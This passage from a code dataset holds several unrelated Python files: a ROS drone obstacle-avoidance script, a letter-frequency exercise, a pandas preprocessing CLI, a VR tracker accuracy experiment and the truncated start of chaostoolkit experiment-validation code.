0\n\n\n\n\n############################################################ MONITORING FUNCTIONS ############################################################\n\ndef get_distance_travelled():\n global travel_distance\n \"\"\"\n Continuously adds up the distance travelled.\n (No built-in functionality or rostopic was found for this cause)\n \"\"\"\n while True:\n oldPos = vehicle.location.global_frame\n time.sleep(DISTANCE_MEASURE_FREQ)\n newPos = vehicle.location.global_frame\n travel_distance += abs(get_distance_metres(oldPos, newPos))\n #rospy.loginfo(\"\\nTRAVELLED DISTANCE = %dm\\n\", travel_distance)\n\n\ndef laser_cb(msg):\n global currAvoided\n \"\"\"\n Performs object detection and avoidance according to a paper by Maria Isabel Ribeiro\n (translated from c++ by Sahas Ananth). This is the callback function of a subscriber node\n to a ROS topic, hence is invoked whenever messages are received, with the message as\n argument.\n \"\"\"\n # parse the lidar data\n cr_scan = LaserScan()\n cr_scan = msg\n avoid_x = 0.0\n avoid_y = 0.0\n avoid = False\n\n for i in range(1, len(cr_scan.ranges)):\n # distances in meters from which avoidance is triggered\n d0 = MAX_DETECTION_RANGE\n k = 0.5 # was 0.1 for most testing\n \n if cr_scan.ranges[i] < d0 and cr_scan.ranges[i] > MIN_DETECTION_RANGE:\n avoid = True\n currAvoided += 1 # increment for monitoring\n x = cos(cr_scan.angle_increment * i)\n y = sin(cr_scan.angle_increment * i)\n u = (-0.5 * k * pow(((1/cr_scan.ranges[i]) - (1/d0)), 2.0))\n\n # the final vectors are the sum of all the potentials in our field\n avoid_x += (x*u)\n avoid_y += (y*u)\n\n # rotate vectors according to the correct heading\n cr_heading = radians(drone.get_current_heading())\n avoid_x = (avoid_x * cos(cr_heading)) - (avoid_y * sin(cr_heading))\n avoid_y = (avoid_x * sin(cr_heading)) + (avoid_y * cos(cr_heading))\n\n if avoid:\n dist = sqrt(pow(avoid_x, 2) + pow(avoid_y, 2))\n\n # normalize the vector in case its magnitude exceeds 3 meters\n if dist > 3:\n avoid_x = (3 * (avoid_x/dist))\n avoid_y = (3 * (avoid_y/dist))\n \n # get the current location from the drone\n cur_pose = Point()\n cur_pose = drone.get_current_location()\n # send the new destination\n drone.set_destination(avoid_x + cur_pose.x,\n avoid_y + cur_pose.y,\n 2, 0)\n\ndef avoidance_detected():\n \"\"\"\n Investigates parameters and returns whether an avoidance maneuver has occurred.\n \"\"\"\n global prevAvoided\n prevAvoided = currAvoided\n\n # if drone slows down heavily, check whether a significant change of location follows within x seconds\n if vehicle.velocity[0] < 0.5 and vehicle.velocity[1] < 0.5:\n \n # give the drone time to stop and assure its speed has further decreased\n time.sleep(2)\n if vehicle.velocity[0] < 0.3 and vehicle.velocity[1] < 0.3:\n stoppingLocation = vehicle.location.global_frame\n\n # for max. x seconds...\n timeout = time.time() + 10\n while(time.time() < timeout):\n # ... if currAvoided was incremented in the meantime (= object is near, avoidance)\n # and a movement of 1m or more is registered, and no waypoint has been reached,\n # then an avoidance maneuver is assumed \n if (currAvoided > prevAvoided) and abs(get_distance_metres(stoppingLocation, vehicle.location.global_frame)) >= 1 and not drone.check_waypoint_reached(pos_tol=WAYPOINT_REACHED_TOL): \n return True\n return False\n\ndef detect_avoidance_maneuver():\n \"\"\"\n Continuously investigates properties of the drone and returns whether an avoidance maneuver might have occurred.\n \"\"\"\n global avoidance_maneuver_counter # this global variable is reset to zero by the main thread at every waypoint\n\n while True:\n if avoidance_detected(): \n rospy.loginfo(f\"\\n\\n\\n----- AVOIDANCE MANEUVER DETECTED! -----\\n\")\n avoidance_maneuver_counter += 1\n \n # for max. x seconds, wait for the avoidance to complete i.e. wait for the drone to speed up\n timeout = time.time() + 10\n while(time.time() < timeout):\n if vehicle.velocity[0] < 0.5 and vehicle.velocity[1] < 0.5:\n rospy.loginfo(f\"\\n\\n\\n----- Waiting for avoidance maneuver to complete... -----\\n\") \n time.sleep(2)\n else:\n break # continue monitoring for next avoidance maneuver\n else:\n time.sleep(AVOIDANCE_MONITOR_FREQ) # reduce overhead\n\n\n\n\n############################## INSTRUCTIONS ##############################\n\ndef main():\n \"\"\"\n Main function with drone instructions.\n \"\"\"\n global avoidance_maneuver_counter\n global travel_distance\n\n # initialize generic ROS node and create subscriber for lidar\n rospy.init_node(\"obs_avoider\", anonymous=True)\n rospy.Subscriber(name=\"/spur/laser/scan\",\n data_class=LaserScan,\n queue_size=1,\n callback=laser_cb)\n\n # wait for FCU connection.\n drone.wait4connect()\n # wait for the mode to be switched manually: # drone.wait4start() \n # set mode to guided\n drone.set_mode(\"GUIDED\")\n # set speed (heavily affects recommended object detection distances)\n drone.set_speed(VELOCITY)\n # create local reference frame.\n drone.initialize_local_frame()\n # save initial launching location\n launchPoint = vehicle.location.global_frame\n # request takeoff\n drone.takeoff(TAKEOFF_HEIGHT)\n\n############ WAYPOINT DEFINITIONS ############\n # yaw: 0 = forward, -90 = right, 0 = forward, 90 = left, 180 = backward, 0 = forward\n # mind that all coordinates apply to the local frame of the individual drone! \n # i.e. [0, 0, 0, 0] is always the launchpoint of the drone, no matter where in the world that is\n\n #square: \n #waypoints = [[0, 0, 3, 0], [5, 0, 3, -90], [5, 5, 3, 0], [0, 5, 3, 90], [0, 0, 3, 180], [0, 0, 3, 0]]\n\n #stationary:\n #waypoints = [[0, 0, 3, 3]]\n\n # A to B to A: \n waypoints = [[0, 0, 3, 0], [0, 100, 3, 0], [0, 0, 3, 180], [0, 0, 3, 0]]\n\n # B to A to A: (opposite path)\n #waypoints = [[0, 100, 3, 180], [0, 0, 3, 180], [0, 100, 3, 0], [0, 100, 3, 180]]\n\n # two drones from separate launchpoint to same target\n # DRONE 1 #waypoints = [[0, 0, 3, 0], [15, 100, 3, 0], [0, 0, 3, 180], [0, 0, 3, 0]]\n # DRONE 2 #waypoints = [[0, 0, 3, 0], [-15, 100, 3, 0], [0, 0, 3, 180], [0, 0, 3, 0]]\n\n################################################\n\n waypointsCount = len(waypoints)\n\n # specify control loop rate \n rate = rospy.Rate(3)\n\n # start distance measuring in the background\n distance_measuring = threading.Thread(target=get_distance_travelled)\n distance_measuring.daemon = True\n rospy.loginfo(\"Starting distance measuring thread...\")\n distance_measuring.start()\n\n # start avoidance behaviour monitoring in the background\n avoidance_monitoring = threading.Thread(target=detect_avoidance_maneuver)\n avoidance_monitoring.daemon = True\n rospy.loginfo(\"Starting avoidance monitoring thread...\")\n avoidance_monitoring.start()\n \n if(waypointsCount > 0):\n\n # initialise variables and lists\n i = 0\n elapsedTimes = np.zeros(waypointsCount)\n waypointDistances = np.zeros(waypointsCount)\n travelDistances = np.zeros(waypointsCount)\n maneuverCounts = np.zeros(waypointsCount)\n startTime = time.time()\n \n while i < waypointsCount:\n # move to next waypoint\n drone.set_destination(x=waypoints[i][0], y=waypoints[i][1], z=waypoints[i][2], psi=waypoints[i][3])\n\n rate.sleep()\n if drone.check_waypoint_reached(pos_tol=WAYPOINT_REACHED_TOL):\n # print(f\"waypoint reached: x={waypoints[i][0]}, y={waypoints[i][1]}, z={waypoints[i][2]}, psi={waypoints[i][3]}\\n\"+\n # f\"at global pos: {vehicle.location.global_frame}\\n\"+\n # f\"at local pos: {drone.get_current_location()}\\n\")\n\n ### waypoint i was reached\n # log time\n currTime = time.time()\n currElapsedTime = currTime - startTime\n elapsedTimes[i] = currElapsedTime\n \n # log distance to waypoint\n currPoint = vehicle.location.global_frame\n currWaypointDistance = get_distance_metres(launchPoint, currPoint)\n waypointDistances[i] = currWaypointDistance\n\n # log distance travelled to waypoint\n travelDistances[i] = travel_distance\n\n # log avoidance maneuver count at waypoint\n maneuverCounts[i] = avoidance_maneuver_counter\n\n # console output\n print_current_logs(elapsedTimes[i], waypointDistances[i], travelDistances[i], maneuverCounts[i], i, DRONE_NO)\n\n # update / reset variables\n i += 1\n launchPoint = currPoint\n startTime = currTime # slightly inaccurate, but this is not critical\n avoidance_maneuver_counter = 0\n travel_distance = 0\n\n ### all waypoints have been reached\n # land\n drone.land()\n rospy.loginfo(f\"\\n\")\n rospy.loginfo(CGREEN2 + \"All waypoints reached, landing now.\" + CEND)\n\n # MR validation\n validate_mrs(elapsedTimes, travelDistances, maneuverCounts, DELTA_T, DELTA_D, DRONE_NO)\n # debug\n rospy.loginfo(f\" TOTAL TIME TAKEN: {elapsedTimes[1] + elapsedTimes[2]}\")\n rospy.loginfo(f\" TOTAL MANEUVER COUNT: {maneuverCounts[1] + maneuverCounts[2]}\")\n\n\nif __name__ == '__main__':\n try:\n main()\n except KeyboardInterrupt:\n exit()\n","repo_name":"lineis/MT-in-autonomous-system-simulations","sub_path":"IQ_GNC/obs_avoid.py","file_name":"obs_avoid.py","file_ext":"py","file_size_in_byte":12607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"7524350957","text":"\"\"\"Map letters from string into dictionary & print bar chart of frequency.\"\"\"\n\nimport pprint\nfrom collections import defaultdict\n\nTEXT = 'Like the castle in its corner in a medieval game, I foresee terrible \\\ntrouble and I stay here just the same.'\n\nALPHABET = 'abcdefghijklmnopqrstuvwxyz'\n\nmapped = defaultdict(list)\nfor char in TEXT:\n char=char.lower()\n if char in ALPHABET:\n mapped[char].append(char)\n\nprint(f\"{TEXT}\\n\")\npprint.pprint(mapped, width=110)\n","repo_name":"andrzej-zernaczuk/impractical_python_projects","sub_path":"01 Generating Pseudonyms/etoin_practice.py","file_name":"etoin_practice.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"11783898710","text":"# External Modules\nimport pandas as pd\nimport sys as sys\nimport traceback\nimport re\n\n# Internal Modules\nimport Preprocessing.PreprocessingExecuter as prep\nimport Helpers.PrintHelpers.PrintHelper as phelper\nimport Helpers.DataFrameHelpers.DataFrameChecker as dfc\nimport Commons.CommandAccepterBase as CAB\n\n_PROCESSING_MANAGER_COMMANDS_ = [\n \"(add id) Add id to each rows.\",\n \"(dc): Drop columns.\",\n \"(dr): Delete rows which meets terms\",\n \"(median): Complete with median.\",\n \"(mean): Complete with mean.\",\n \"(most frequent): Complerte with most frequent\",\n \"(tw): Time to weekday.\",\n \"(td): Time to datetime.\",\n \"(n): Nomilize data\",\n \"(f): Fill in NaN data with value\",\n \"(coi): Convert objects to int\",\n \"(cib): Covnert int to boolean\",\n \"(s): Sum two columns\",\n \"(sample): Sampling rows from data.\",\n \"(deloutlier): Delete outlier\",\n \"(cancel): Cancel.\"\n]\n\nclass PreprocessingManager(CAB.CommandAccepterBase):\n \"\"\"Preprocessing Manager\n This modules accepts commadn to prepreocessing data.\n\n \"\"\"\n def __init__(self, df):\n self._df = df\n self._pp = prep.Preprocessing(self._df)\n\n def _extend_accept_command(self):\n while True:\n phelper.PrintHelper.print_command_menu(_PROCESSING_MANAGER_COMMANDS_)\n\n ans = input(\"Please input command: \")\n if ans == \"add id\":\n return self._invoke_add_id()\n elif ans == \"dc\":\n return self._invoke_drop_colum()\n elif ans == \"dr\":\n return self._invoke_drop_rows()\n elif ans == \"median\":\n return self._invoke_complement_with_median()\n elif ans == \"mean\":\n return self._invoke_complement_with_mean()\n elif ans == \"most frequent\":\n return self._invoke_complement_with_mostfrequency()\n elif ans == \"tw\":\n return self._invoke_convert_time_to_weekdays()\n elif ans == \"td\":\n return self._invoke_convert_time_to_datetime()\n elif ans == \"n\":\n return self._invoke_convert_nomalize()\n elif ans == \"f\":\n return self._invoke_fill_in_NaN()\n elif ans == \"coi\":\n return self._invoke_convert_object_to_int()\n elif ans == \"s\":\n return self._invoke_sum_columns()\n elif ans == \"sample\":\n return self._invoke_sample()\n elif ans == \"cib\":\n return self._invoke_convert_columns_to_boolean()\n elif ans == \"deloutlier\":\n return self._invoke_delete_outlier()\n elif ans == \"cancel\":\n return self._df\n elif ans == \"\":\n continue\n else:\n print(ans + \" is not a supported command!\\n\")\n continue\n def _invoke_add_id(self):\n return self._pp.add_id()\n\n def _invoke_complement_with_median(self):\n while True:\n column = input(\"Plese input column name: \")\n if not column in self._df.columns:\n print(column + \" is not exist!!\")\n continue\n else:\n return self._pp.complement_with_median(column)\n def _invoke_complement_with_mean(self):\n while True:\n column = input(\"Plese input column name: \")\n if not column in self._df.columns:\n print(column + \" is not exist!!\")\n continue\n else:\n return self._pp.complement_with_mean(column)\n\n def _invoke_complement_with_mostfrequency(self):\n while True:\n column = input(\"Plese input column name: \")\n if not column in self._df.columns:\n print(column + \" is not exist!!\")\n continue\n else:\n return self._pp.complement_with_mostfrequency(column)\n\n def _invoke_drop_colum(self):\n \"\"\"dorp columns from dataframe.\n\n \"\"\"\n while True:\n ans = input(\"Please input coulmn name or NaN: \")\n if ans == \"NaN\":\n return self._pp.drop_nan()\n elif ans == \"\":\n continue\n elif ans not in self._df.columns:\n print(ans + \" is not exist!!\")\n continue\n else:\n return self._pp.drop_colum(ans)\n def _invoke_drop_rows(self):\n \"\"\"drop rows which meets term.\n\n \"\"\"\n while True:\n command = input(\"Please input a term value. (e.g, column_name = 1 column_name < 1, column_name > 1 ): \")\n words = re.split(\" \", command)\n column = words[0]\n term = words[1]\n try:\n threshold = int(words[2])\n except TypeError:\n phelper.PrintHelper.print_error(\"invalid value error: Is \" + words[2] + \" numeric?\")\n return self._df\n except ValueError:\n phelper.PrintHelper.print_error(\"invalid value error: Is \" + words[2] + \" numeric?\")\n return self._df\n\n if column not in self._df.columns:\n print(column + \" is not existed!!\")\n continue\n\n if self._check_value_of_invoke_drop_rows(words) is False:\n return self._df\n else:\n return self._pp.drop_rows(column,term,threshold)\n\n def _check_value_of_invoke_drop_rows(self,words):\n if (len(words) != 3):\n print(words + \" is not supported!\")\n return False\n elif words[1] == \">\" or words[1] == \"<\" or words[1] == \"=\":\n return True\n else:\n print(words + \" is not supported!\")\n return False\n\n\n def _invoke_convert_time_to_weekdays(self):\n \"\"\"Convert time to weekdays.\n This method covnerts time to weekdays(0,1,2,3,4,5,6,7).\n\n Returns:\n Dataframe: dataframe with converted time to weekdays value.\n\n Examples:\n original data : ['2017-11-07 09:30:38']\n\n \"\"\"\n while True:\n ans = input(\"Please input column name you want to convert to weekday: \")\n if ans not in self._df.columns:\n print(ans + \"is not exist!!\")\n continue\n else:\n return self._pp.convert_time_to_weekdays(ans)\n\n\n def _invoke_convert_time_to_datetime(self):\n \"\"\"Convert time to date time as follows\n This method convert time to date time as follows\n\n\n Examples:\n original data : ['2017-11-07 09:30:38']\n\n year: (ex),[2017]\n month:(ex),[11]\n day: (ex),[7]\n hour: (ex),[9]\n minute: (ex),[30]\n second; (ex),[38]\n microsecond (ex),[0]\n \"\"\"\n while True:\n ans = input(\"Please input column name you want to convert to datetime: \")\n if ans not in self._df.columns:\n print(ans + \" is not exist!!\")\n continue\n else:\n #show example with 1 line.\n tmp_df = self._df.iloc[:1,]\n\n commands = [\n 'original data: ' + str(tmp_df[ans].values),\n 'year: (ex),' + str(pd.to_datetime(tmp_df[ans]).dt.year.values),\n 'month:(ex),' + str(pd.to_datetime(tmp_df[ans]).dt.month.values),\n 'day: (ex),' + str(pd.to_datetime(tmp_df[ans]).dt.day.values),\n 'hour: (ex),' + str(pd.to_datetime(tmp_df[ans]).dt.hour.values),\n 'minute: (ex),' + str(pd.to_datetime(tmp_df[ans]).dt.minute.values),\n 'second; (ex),' + str(pd.to_datetime(tmp_df[ans]).dt.second.values),\n 'microsecond (ex),' + str(pd.to_datetime(tmp_df[ans]).dt.microsecond.values)\n ]\n phelper.PrintHelper.print_command_menu(commands)\n break\n\n while True:\n try:\n print(\"Please input one of following instructions.\")\n ans_time = input(\"year, month, day, hour, minute, second, microsecond, (c):Cancel :\")\n if ans_time == \"c\":\n return self._df\n else:\n return self._pp.convert_time_to_datetime(ans,ans_time)\n except prep.NotSupportedError:\n print(ans + \" is not supported!!\")\n continue\n\n def _invoke_convert_nomalize(self):\n while True:\n ans = input(\"Please input column name you want to convert to datetime: \")\n if ans not in self._df.columns:\n print(ans + \" is not exist!!\")\n continue\n else:\n return self.pp.convert_data_to_nomalized(ans)\n\n def _invoke_fill_in_NaN(self):\n while True:\n ans = input(\"Please input column name you want to fill in: \")\n if ans not in self._df.columns:\n print(ans + \" is not exist!!\")\n continue\n else:\n break\n while True:\n print(self._df[ans].value_counts())\n ans_value = input(\"Please input value name you want to fill in NaN: \")\n if not ans_value in self._df[ans].unique():\n print(ans_value + \" is not exist!!\")\n continue\n else:\n return self._pp.fill_in_NaN(ans,ans_value)\n\n def _invoke_convert_object_to_int(self):\n while True:\n ans = input(\"Please input column name you want to convert type object to int: \")\n if ans not in self._df.columns:\n print(ans + \" is not exist!!\")\n continue\n else:\n return self._pp.convert_object_to_int(ans)\n\n def _invoke_sum_columns(self):\n while True:\n print(self._df.columns)\n column_name = input(\"Please input 1st column name you want to Add: \")\n if not column_name in self._df.columns:\n print(column_name + \" is not existed!!\")\n continue\n\n column_name2 = input(\"Please input 2nd column name you want to Add: \")\n if not column_name2 in self._df.columns:\n print(column_name2 + \" is not existed!!\")\n continue\n\n new_column_name = input(\"Please input new column name you want to create: \")\n if new_column_name in self._df.columns:\n print(new_column_name + \" is existed!!\")\n continue\n return self._pp.sum_columns(column_name,column_name2,new_column_name)\n def _invoke_sample(self):\n while True:\n n = input(\"Please input number of rows.\")\n if not n.isdigit():\n phelper.PrintHelpers.print_error(\"Your input is not numeric.\")\n continue\n else:\n return self._pp.sample(n)\n\n def _invoke_convert_columns_to_boolean(self):\n while True:\n print(self._df.columns)\n column_name = input(\"Please input column name you want to convert: \")\n if not column_name in self._df.columns:\n print(column_name + \" is not exist!!\")\n continue\n new_column_name = input(\"Please input new column name you want to create: \")\n if new_column_name in self._df.columns:\n print(new_column_name + \" is existed!!\")\n continue\n threshold = input(\"Please input threshold value: \")\n return self._pp.convert_columns_to_boolean(column_name,new_column_name,int(threshold))\n\n def _invoke_delete_outlier(self):\n while True:\n self._df.info()\n column_name = input(\"Please input column name you want to delete when it is ourlierself. If you did not column name, system tries to delete outlier from all columns: \")\n if column_name == \"\":\n if not dfc.DataFrameChecker.is_df_num(self._df):\n print(\"[Warning!]Some data are NOT numeric. You have to convert the data type to integer or float before\")\n return self._df\n break;\n elif not column_name in self._df.columns:\n print(column_name + \" is not existed!!\")\n continue\n elif column_name in self._df.columns:\n if not dfc.DataFrameChecker.is_df_num(self._df[column_name]):\n print(\"[Warning!]\" + column_name + \" is NOT numeric. You have to convert the data type to integer or float before!\")\n else:\n break\n\n\n while True:\n bias = input(\"Please input bias(e.g, 1.5). Default value is 1.5: \")\n if bias == \"\":\n print(\"bias is default value(1.5)\")\n bias = 1.5\n break\n else:\n break\n # delete out lier from all columns\n if column_name == \"\":\n for i in self._df.columns:\n print(\"Delete outlier in \" + i)\n self._pp.df.info()\n self._pp.df = self._pp.delete_outlier(i,float(bias))\n return self._pp.df\n # delete out lier from one column\n else:\n return self._pp.delete_outlier(column_name,float(bias))\n","repo_name":"hirohio/Hello-World-ML","sub_path":"src/Preprocessing/PreprocessingManager.py","file_name":"PreprocessingManager.py","file_ext":"py","file_size_in_byte":13523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"863155134","text":"\"\"\"Script to run the dynamic accuracy experiment for steamvr and libsurvive. \n\nExperiment:\nFollows the guidelines set out by ASTM 3064:\nDefine two paths in the x, y plane. One mainly along x the other along y.\nThe bar is to traverse these path in 3 different rotation. In line with the path,\nvertically orthogonal to the path and horizontally orthogonal to the path. \nIn total this should result in 6 distinct sets of measurements. \n(check the standard for a more detailed review)\n\nIn this experiment one orientation (vertically orthogonal) was not considerd,\nas one tracker would not have only been visible to one LH. Hence, only\n4 set of measurements are taken.\n\n\nThe bar is mounted on a robot who ensures repeatable path traversal.\n\nSetup: \n2 LH, 2 Trackers mounted on a bar facing away from each other, the bar itself \nis mounted on a robot.\n\nNote: The speed of the robot is varied. Furthermore, while the script waits\nfor the robot to move before taken measurements, no such condition is\nimplemented for when the robot finishes the path traversal. This has to be stopped\nmanually using the Keyboardinterrupt (sigint).\n\n\"\"\"\nimport os\nimport sys\nimport time\nfrom pathlib import Path\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom utils.GS_timing import delay\nfrom utils.general import Framework, get_file_location, save_data, check_if_moved\nfrom utils.consts import (\n DYNAMIC_ACC_FREQUENCY, LIBSURVIVE_STABILITY_COUNTER, LIBSURVIVE_STABILITY_THRESHOLD,\n MOVING_THRESHOLD\n)\n\nif os.name == 'nt': # if windows\n import openvr\n import utils.triad_openvr as triad_openvr\nelse:\n import pysurvive\n from utils.better_libsurvive_api import (\n BetterSurviveObject, get_n_survive_objects, get_simple_context, simple_start\n )\n\n\ndef run_dynamic_accuarcy_steamvr(\n frequency: int,\n) -> np.ndarray:\n \"\"\"runs the dynamic accuracy for steamvr. Collects data from both tracker\n and writes them into a matrix\n x y z w i j k x y z w i j k\n\n Args:\n frequency (int):\n duration (float):\n\n Returns:\n np.ndarray: Nx14 Matrix\n \"\"\"\n v = triad_openvr.triad_openvr()\n v.print_discovered_objects()\n counter = 0\n \"\"\"\n WAIT FOR tracker to move before starting measuring\n \"\"\"\n print(\"WAITING for tracker being moved\")\n inital_pose = np.array(v.devices[\"tracker_1\"].get_pose_quaternion())\n while not check_if_moved(\n current_pose=np.array(v.devices[\"tracker_1\"].get_pose_quaternion()),\n initial_pose=inital_pose,\n moving_threshold=MOVING_THRESHOLD\n ):\n time.sleep(0.1)\n print(\"START Measuring\")\n starttime = time.perf_counter()\n first_tracker_list = list()\n second_tracker_list = list()\n interval = 1/frequency\n try:\n while True:\n current_time = time.perf_counter()\n try:\n first_tracker_list.append(v.devices[\"tracker_1\"].get_pose_quaternion())\n except ZeroDivisionError: # happends if tracking is lost\n continue\n try:\n second_tracker_list.append(v.devices[\"tracker_2\"].get_pose_quaternion())\n except ZeroDivisionError:\n del first_tracker_list[-1]\n counter += 1 # counter before adding because it may otherwise cause a matrix limit expection later on in case of interrupt\n time_2_sleep = interval-(time.perf_counter()-current_time)\n try:\n delay(time_2_sleep*1000)\n except ValueError: # happends if negative sleep duration (loop took too long)\n pass\n except KeyboardInterrupt:\n endtime = time.perf_counter()\n duration = endtime-starttime\n actual_frequency = counter/duration\n print(\n f\"Stopped measuring. After {counter} meausrements in roughly {duration} seconds. Resulting in a frequency of {actual_frequency}\")\n settings[\"duration\"] = duration\n settings[\"measurements\"] = counter\n settings[\"actual frequency\"] = actual_frequency\n\n first_pose_matrix = np.array(first_tracker_list)\n second_pose_matrix = np.array(second_tracker_list)\n if len(first_pose_matrix) != len(second_pose_matrix):\n # happends if untimely interrupt thus we cut the last entry in for the first\n first_pose_matrix = first_pose_matrix[:-1, :]\n print(first_pose_matrix.shape)\n print(second_pose_matrix.shape)\n pose_matrix = np.hstack((first_pose_matrix, second_pose_matrix))\n return pose_matrix\n\n\ndef run_dynamic_accuarcy_libsurvive(\n frequency: int,\n) -> np.ndarray:\n actx = get_simple_context(sys.argv)\n simple_start(actx)\n survive_objects = get_n_survive_objects(\n actx=actx,\n num=4\n )\n time.sleep(1)\n tracker_obj_1 = survive_objects[\"red\"]\n tracker_obj_2 = survive_objects[\"black\"]\n # run stabilizer\n last_pose = tracker_obj_2.get_pose_quaternion()\n stable_counter = 0\n time.sleep(0.05)\n print(\"Waiting for stability\")\n while stable_counter < LIBSURVIVE_STABILITY_COUNTER:\n current_pose = tracker_obj_2.get_pose_quaternion()\n if not check_if_moved(\n initial_pose=last_pose,\n current_pose=current_pose,\n moving_threshold=LIBSURVIVE_STABILITY_THRESHOLD\n ):\n stable_counter += 1\n\n last_pose = current_pose\n time.sleep(0.1)\n print(\"Stable\")\n print(\"WAITING for tracker being moved\")\n first_tracker_list = list()\n second_tracker_list = list()\n counter = 0\n interval = 1/frequency\n initial_pose = tracker_obj_2.get_pose_quaternion()\n while not check_if_moved(\n initial_pose=initial_pose,\n current_pose=tracker_obj_2.get_pose_quaternion(),\n moving_threshold=0.02\n ):\n time.sleep(0.01)\n print(\"START Measuring\")\n starttime = time.perf_counter()\n while True:\n current_time = time.perf_counter()\n\n first_tracker_list.append(tracker_obj_1.get_pose_quaternion())\n second_tracker_list.append(tracker_obj_2.get_pose_quaternion())\n counter += 1\n try:\n time_2_sleep = interval-(time.perf_counter()-current_time)\n delay(time_2_sleep*1000)\n except ValueError: # happends if negative sleep duration (loop took too long)\n pass\n except KeyboardInterrupt:\n endtime = time.perf_counter()\n duration = endtime-starttime\n actual_frequency = counter/duration\n print(\n f\"Stopped measuring. After {counter} meausrements in roughly {duration} seconds. Resulting in a frequency of {actual_frequency}\")\n break\n\n settings[\"duration\"] = duration\n settings[\"measurements\"] = counter\n settings[\"actual frequency\"] = actual_frequency\n\n first_pose_matrix = np.array(first_tracker_list)\n second_pose_matrix = np.array(second_tracker_list)\n\n if len(first_pose_matrix) != len(second_pose_matrix):\n # happends if untimely interrupt thus we cut the last entry in for the first\n first_pose_matrix = first_pose_matrix[:-1, :]\n\n print(first_pose_matrix.shape)\n print(second_pose_matrix.shape)\n pose_matrix = np.hstack((first_pose_matrix, second_pose_matrix))\n return pose_matrix\n\n\nif __name__ == \"__main__\":\n exp_num = 5\n exp_type = \"dynamic_accuracy\"\n # settings:\n settings = {\n \"frequency\": DYNAMIC_ACC_FREQUENCY, # Hz\n \"velocity\": \"200 mm/s\",\n \"sys.args\": sys.argv\n }\n framework = Framework(\"libsurvive\")\n\n \"\"\"\n CREATE NEW FILE LOCATION\n increase point number until file doesnt yet exist\n \"\"\"\n num_point = 1\n file_location: Path = get_file_location(\n exp_type=exp_type,\n exp_num=exp_num,\n framework=framework,\n num_point=num_point\n )\n while file_location.exists():\n num_point += 1\n file_location: Path = get_file_location(\n exp_type=exp_type,\n exp_num=exp_num,\n framework=framework,\n num_point=num_point\n )\n \"\"\"\n RUN PROGRAM\n \"\"\"\n if framework == Framework.libsurvive:\n pose_matrix = run_dynamic_accuarcy_libsurvive(\n frequency=settings[\"frequency\"],\n )\n elif framework == Framework.steamvr:\n pose_matrix = run_dynamic_accuarcy_steamvr(\n frequency=settings[\"frequency\"],\n )\n else:\n print(\"framework not recognized\")\n exit()\n \"\"\" \n ---------\n SAVE DATA\n ---------\n \"\"\"\n save_data(\n file_location=file_location,\n pose_matrix=pose_matrix,\n exp_type=exp_type,\n settings=settings,\n framework=framework\n )\n","repo_name":"MarvinGravert/experiment_libsurvive_steamvr","sub_path":"dynamic_accuracy.py","file_name":"dynamic_accuracy.py","file_ext":"py","file_size_in_byte":8646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"40412484599","text":"from concurrent.futures import ThreadPoolExecutor\nfrom typing import Any, Dict, List\n\nfrom logzero import logger\n\nfrom chaoslib.activity import ensure_activity_is_valid\nfrom chaoslib.caching import lookup_activity, with_cache\nfrom chaoslib.configuration import load_configuration\nfrom chaoslib.control import validate_controls\nfrom chaoslib.deprecation import (\n warn_about_deprecated_features,\n warn_about_moved_function,\n)\nfrom chaoslib.exceptions import InvalidActivity, InvalidExperiment\nfrom chaoslib.extension import validate_extensions\nfrom chaoslib.hypothesis import ensure_hypothesis_is_valid\nfrom chaoslib.loader import load_experiment\nfrom chaoslib.run import RunEventHandler, Runner\nfrom chaoslib.run import apply_activities as apply_act\nfrom chaoslib.run import apply_rollbacks as apply_roll\nfrom chaoslib.run import initialize_run_journal as init_journal\nfrom chaoslib.secret import load_secrets\nfrom chaoslib.types import (\n Configuration,\n Dry,\n Experiment,\n Journal,\n Run,\n Schedule,\n Secrets,\n Settings,\n Strategy,\n)\n\n__all__ = [\"ensure_experiment_is_valid\", \"load_experiment\"]\n\n\n@with_cache\ndef ensure_experiment_is_valid(experiment: Experiment):\n \"\"\"\n A chaos experiment consists of a method made of activities to carry\n sequentially.\n\n There are two kinds of activities:\n\n * probe: detecting the state of a resource in your system or external to it\n There are two kinds of probes: `steady` and `close`\n * action: an operation to apply against your system\n\n Usually, an experiment is made of a set of `steady` probes that ensure the\n system is sound to carry further the experiment. Then, an action before\n another set of of ̀close` probes to sense the state of the system\n post-action.\n\n This function raises :exc:`InvalidExperiment`, :exc:`InvalidProbe` or\n :exc:`InvalidAction` depending on where it fails.\n \"\"\"\n logger.info(\"Validating the experiment's syntax\")\n\n if not experiment:\n raise InvalidExperiment(\"an empty experiment is not an experiment\")\n\n if not experiment.get(\"title\"):\n raise InvalidExperiment(\"experiment requires a title\")\n\n if not experiment.get(\"description\"):\n raise InvalidExperiment(\"experiment requires a description\")\n\n tags = experiment.get(\"tags\")\n if tags:\n if list(filter(lambda t: t == \"\" or not isinstance(t, str), tags)):\n raise InvalidExperiment(\"experiment tags must be a non-empty string\")\n\n validate_extensions(experiment)\n\n config = load_configuration(experiment.get(\"configuration\", {}))\n load_secrets(experiment.get(\"secrets\", {}), config)\n\n ensure_hypothesis_is_valid(experiment)\n\n method = experiment.get(\"method\")\n if method is None:\n # we force the method key to be indicated, to make it clear\n # that the SSH will still be executed before & after the method block\n raise InvalidExperiment(\n \"an experiment requires a method, \"\n \"which can be empty for only checking steady state hypothesis \"\n )\n\n for activity in method:\n ensure_activity_is_valid(activity)\n\n # let's see if a ref is indeed found in the experiment\n ref = activity.get(\"ref\")\n if ref and not lookup_activity(ref):\n raise InvalidActivity(\n \"referenced activity '{r}' could not be \"\n \"found in the experiment\".format(r=ref)\n )\n\n rollbacks = experiment.get(\"rollbacks\", [])\n for activity in rollbacks:\n ensure_activity_is_valid(activity)\n\n warn_about_deprecated_features(experiment)\n\n validate_controls(experiment)\n\n logger.info(\"Experiment looks valid\")\n\n\n@with_cache\ndef run_experiment(\n experiment: Experiment,\n settings: Settings = None,\n experiment_vars: Dict[str, Any] = None,\n strategy: Strategy = Strategy.DEFAULT,\n schedule: Schedule = None,\n 